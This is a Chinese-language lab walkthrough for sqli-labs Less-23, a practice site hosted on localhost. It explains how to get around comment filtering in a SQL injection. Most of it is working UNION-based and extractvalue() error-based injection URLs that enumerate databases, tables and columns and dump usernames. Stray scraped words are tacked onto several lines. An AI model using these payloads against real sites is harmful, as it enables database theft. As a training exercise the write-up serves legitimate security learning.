Sqli-labs less 23

第二部分/page-2 Advanced injection

Less-23

Sql語句爲$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";此處主要是在獲取id參數時進行了#,--註釋符號的過濾。php

Solution: sql

http://127.0.0.1/sqllib/Less-23/index.php?id=-1%27union%20select%201,@@datadir,%273數據庫

此處的sql語句爲 spa

SELECT * FROM users WHERE id='-1' union select 1,@@datadir,'3' limit 0,1orm

Explain:此處講解幾個知識點:blog

  1. id=-1,爲何要用-1,由於sql語句執行了兩個select語句,第一個select爲id的選擇語句,第二個爲咱們構造的select語句。只有一個數據能夠輸出,爲了讓咱們本身構造的數據能夠正常輸出,第一個select要沒有結果,因此-1或者超過數據庫全部數據均可以。
  2. -1' union select 1,@@datadir,'3,第一個'(單引號)閉合-1,第二個'(單引號)閉合後面的。這樣將查詢內容顯示在username處。
  3. 此處能夠報錯注入,延時注入,能夠利用or '1'='1進行閉合。http://127.0.0.1/sqllib/Less-23/index.php?id=1%27or%20extractvalue%281,concat%280x7e,database%28%29%29%29%20or%20%271%27=%271

    以上這條語句就是利用extractvalue()進行報錯注入。 get

     

    將@@datadir修改成其餘的選擇內容或者是內嵌的select語句。如下用聯合注入方法進行注入。 it

    •獲取數據庫 io

    http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),'3 table

    此處獲取的數據庫爲security

    •查看security庫數據表

    http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

    •查看users表的全部列

    http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),'3

    •獲取內容

    http://127.0.0.1/sqllib/Less-23/index.php?id=-1'union select 1,(select group_concat(username) from security.users limit 0,1),'3

相關文章
相關標籤/搜索